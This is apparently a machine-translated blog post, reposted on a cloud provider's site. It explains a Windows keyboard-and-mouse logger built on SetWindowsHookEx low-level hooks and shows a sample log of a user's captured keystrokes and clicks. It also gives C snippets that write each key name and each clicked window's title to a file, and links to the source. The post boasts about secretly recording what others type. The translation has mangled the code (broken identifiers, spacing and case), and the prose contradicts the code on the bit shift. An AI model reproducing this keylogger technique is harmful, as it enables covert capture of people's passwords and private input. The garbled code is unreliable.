Keyboard and mouse peek

Source: Internet
Author: User

Original post address

Run rupenghooker.exe in the debugdirectory of the compressed package, and then openProgramWhat do you do, click a program, enter something, and then close the program? Haha, I wrote down everything you entered !!! Well, I am a good guy and don't do bad things.

(119,686) [] (toolbarwindow32) press the left mouse button
(Enter) is pressed
(H) pressed
(E) pressed
(L) pressed
(L) pressed
(O) pressed
(181,323) [untitled-Notepad] (Notepad) press the left mouse button
(191,390) [] (#32768) press the left mouse button
(276,422) folderview (syslistview32) press the left mouse button
(276,422) folderview (syslistview32) press the left mouse button
(598,440) [Yes (& Y)] (button) press the left mouse button
(818,29720.a.txt-Notepad] (Notepad) press the left mouse button
(818,288) [computer learning for college students at www.rupeng.comCommunity] (#32770) press the left mouse button

The specific principle is Windows Hook. Use setwindowshookex (wh_mouse_ll, mousehookproc, instance, 0); set the mousehookproc function to the callback of the mouse hook, when a mouse action occurs, the mousehookproc function is called. In the mousehookproc function, the mouse action and position can be obtained:

    1. Lpmousehookstruct lpmousehook = (mousehookstruct far *) lparam;
    2. If (wm_lbuttondown = wparam)
    3. {
    4. Tchar lptext [256];
    5. Tchar lpclassname [256];
    6. Hwnd = windowfrompoint (lpmousehook-> pt );
    7. Getwindowtext (hwnd, lptext, sizeof (lptext ));
    8. Getclassname (hwnd, lpclassname, sizeof (lpclassname ));
    9. Fprintf (FP, "(% I, % I) [% s] (% s) press the left mouse button \ n", lpmousehook-> PT. x, lpmousehook-> PT. y, lptext, lpclassname );
    10. }

Here, we use windowfrompoint to get the handle of the control at the current position of the mouse, and then get the text and Class Name of the control through getwindowtext and getclassname. Haha, I will know which control you clicked.

The same is true for keyboard hooks.
The record keyboard also uses setwindowshookex (wh_keyboard_ll, keyhookproc, instance, 0); sets the keyboard hook and uses the keyhookproc function to respond to messages:

    1. Lpkbdllhookstruct lpkeyhook = (lpkbdllhookstruct) lparam;
    2. If (wm_keydown = wparam | wm_syskeydown = wparam)
    3. {
    4. Long lkey = (loword (lpkeyhook-> scancode) <16 );
    5. Tchar lpkeyname [256];
    6. Getkeynametext (lkey, lpkeyname, sizeof (lpkeyname ));
    7. Fprintf (FP, "(% s) is pressed \ n", lpkeyname );
    8. }

Because the position of lpkeyhook-> scancode represents the scan code, you must first use loword to retrieve the high position, and then shift the 16 digits to the right, finally, use getkeynametext to get the description of the key (a, B, c, F1, or enter ).

Source code download

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.